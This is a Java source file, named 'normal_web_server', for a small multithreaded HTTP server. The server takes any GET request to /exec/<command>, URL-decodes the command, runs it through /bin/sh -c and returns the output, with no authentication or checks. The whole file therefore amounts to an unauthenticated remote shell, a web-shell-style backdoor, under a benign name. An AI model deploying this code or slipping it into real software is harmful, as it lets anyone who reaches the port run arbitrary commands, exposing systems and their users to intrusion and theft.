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import java.net.*;

import java.sql.Time;

import java.text.DateFormat;

import java.text.SimpleDateFormat;

import java.util.Date;

import java.io.*;

public class normal_web_server extends Thread {

public static void main(String[] args) {

int port = Integer.parseInt(args[0]);

try {

Thread t = new Thread(new server(port));

t.start();

} catch (IOException e) {

e.printStackTrace();

System.out.println("fail to open serversocket on port "+port);

}

}

}

class server implements Runnable {

private ServerSocket serverSocket;

public server(int port) throws IOException {

serverSocket = new ServerSocket(port);

// serverSocket.setSoTimeout(30000);

}

@Override

public void run() {

Socket socket;

while (true) {

try {

socket = serverSocket.accept();

if (socket != null) {

new Thread(new TestReveiveThread(socket)).start();

}

} catch (Exception e) {

e.printStackTrace();

}

}

}

}

class TestReveiveThread implements Runnable {

Socket socket;

public TestReveiveThread(Socket s) {

socket = s;

}

public void run() {

try {

boolean iscommand = true;

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(socket.getInputStream(), "utf-8"));

OutputStream os = socket.getOutputStream();

String line = "";

line = bufferedReader.readLine().trim();

System.out.println(line);

line = URLDecoder.decode(line, "UTF-8");

String[] firstline = line.split(" ");

String res = "";

boolean isget = firstline[0].equals("GET");

boolean ishttp = firstline[firstline.length - 1].equals("HTTP/1.1");

boolean len = firstline.length >= 3;

String command = "";

for (int i = 1; i <= firstline.length - 2; i++) {

command += firstline[i] + " ";

}

command = command.trim();

boolean ispath = (command.indexOf("/exec/") == 0);

if (!len || !isget || !ispath || !ishttp) {

iscommand = false;

res = "Command Not Found!\r\n";

}

if (iscommand) {

if (command.length() > 6) {

String in = command.substring(6);

res = getoutputs(in);// is a command

} else {//this means command's length is 6, empty path

iscommand = false;

res = "Command Not Found!\r\n";

}

}

StringBuilder sb=new StringBuilder();

String firstl="";

if(iscommand){

firstl="HTTP/1.1 200 OK\r\n";

}else{

firstl="HTTP/1.1 404 Not Found\r\n";

}

sb.append(firstl);

sb.append("Content-Type: text/html; charset=UTF-8\r\n\r\n");

sb.append(res);

os.write(sb.toString().getBytes());

System.out.println("send back http package!\n" + sb.toString());

bufferedReader.close();

os.close();

socket.close();

} catch (Exception e) {

e.printStackTrace();

}

}

public static String getoutputs(String in) {

String res = "";

try {

String[] command = { "/bin/sh", "-c", in.trim()};

final Process p = Runtime.getRuntime().exec(command);

new Thread(new Runnable() {

@Override

public void run() {

BufferedReader br = new BufferedReader(

new InputStreamReader(p.getErrorStream()));

try {

while (br.readLine() != null)

; //leave the error alone

br.close();

} catch (IOException e) {

e.printStackTrace();

}

}

}).start();

BufferedReader br = null;

br = new BufferedReader(new InputStreamReader(p.getInputStream()));

String line = null;

while ((line = br.readLine()) != null) {

res+= line+"\n";

}

p.waitFor();

br.close();

p.destroy();

} catch (java.io.IOException e) {

res = e.toString();

e.printStackTrace();

} catch(Exception ex){

res = ex.toString();

ex.printStackTrace();

}

return res;

}

}